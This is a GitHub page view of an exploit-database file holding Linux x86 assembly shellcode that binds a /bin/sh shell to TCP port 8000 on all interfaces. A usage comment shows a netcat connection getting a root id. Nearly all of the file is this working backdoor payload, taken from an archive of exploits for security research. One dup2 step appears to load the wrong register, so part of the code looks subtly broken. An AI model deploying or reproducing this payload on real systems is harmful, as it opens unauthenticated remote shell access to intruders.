forked from offensive-security/exploitdb
-
Notifications
You must be signed in to change notification settings - Fork 1
Expand file tree
/
Copy path13319.s
More file actions
executable file
·108 lines (90 loc) · 1.83 KB
/
Copy path13319.s
File metadata and controls
executable file
·108 lines (90 loc) · 1.83 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
;
; Title : Bind asm code Linux x86 - 179 bytes
; IP : 0.0.0.0
; Port : 8000
;
;
; Use : nc localhost 8000
; id
; uid=0(root) gid=0(root) groupes=0(root)
;
;
; Author : Jonathan Salwan
; Mail : submit AT shell-storm.org
; Web : http://www.shell-storm.org
;
;
; More shellcodes in => http://www.shell-storm.org/shellcode/
;
section .data
name db '/bin/sh', 0
section .text
global _start
_start:
;;;;;;;;;;;;;;;;;;;;Socket();;;;;;;;;;;;;;;;;;;
push byte 0x0
push byte 0x1
push byte 0x2
mov eax, 0x66
mov ebx, 0x1
mov ecx, esp
int 0x80
;;;;;;;;;;;;;;;;;;;;Socket();;;;;;;;;;;;;;;;;;;
mov edx, eax
;;;;;;;;;;;;;;;;;;;;Bind();;;;;;;;;;;;;;;;;;;;;
push byte 0x0
push byte 0x0
push byte 0x0
push word 0x401f
push word 0x2
mov ebx, esp
push byte 0x10
push ebx
push edx
mov eax, 0x66
mov ebx, 0x2
mov ecx, esp
int 0x80
;;;;;;;;;;;;;;;;;;;;Bind();;;;;;;;;;;;;;;;;;;;;
;;;;;;;;;;;;;;;;;;;;Listen();;;;;;;;;;;;;;;;;;;
push byte 0x1
push edx
mov eax, 0x66
mov ebx, 0x4
mov ecx, esp
int 0x80
;;;;;;;;;;;;;;;;;;;;Listen();;;;;;;;;;;;;;;;;;;
;;;;;;;;;;;;;;;;;;;;Accept();;;;;;;;;;;;;;;;;;;
push byte 0x0
push byte 0x0
push edx
mov eax, 0x66
mov ebx, 0x5
mov ecx, esp
int 0x80
;;;;;;;;;;;;;;;;;;;;Accept();;;;;;;;;;;;;;;;;;;
mov edx, eax
;;;;;;;;;;;;;;;;;;;;Dup2();;;;;;;;;;;;;;;;;;;;;
mov eax, 0x3f
mov ebx, edx
mov ebx, 0x2
int 0x80
mov eax, 0x3f
mov ebx, edx
mov ecx, 0x1
int 0x80
mov eax, 0x3f
mov ebx, edx
mov ecx, 0x0
int 0x80
;;;;;;;;;;;;;;;;;;;;Dup2();;;;;;;;;;;;;;;;;;;;;
;;;;;;;;;;;;;;;;;;;;Execve();;;;;;;;;;;;;;;;;;;
mov al, 0x0b
mov ebx, name
push byte 0x0
push name
mov ecx, esp
mov edx, 0x0
int 0x80
;;;;;;;;;;;;;;;;;;;;Execve();;;;;;;;;;;;;;;;;;;
; milw0rm.com [2009-06-01]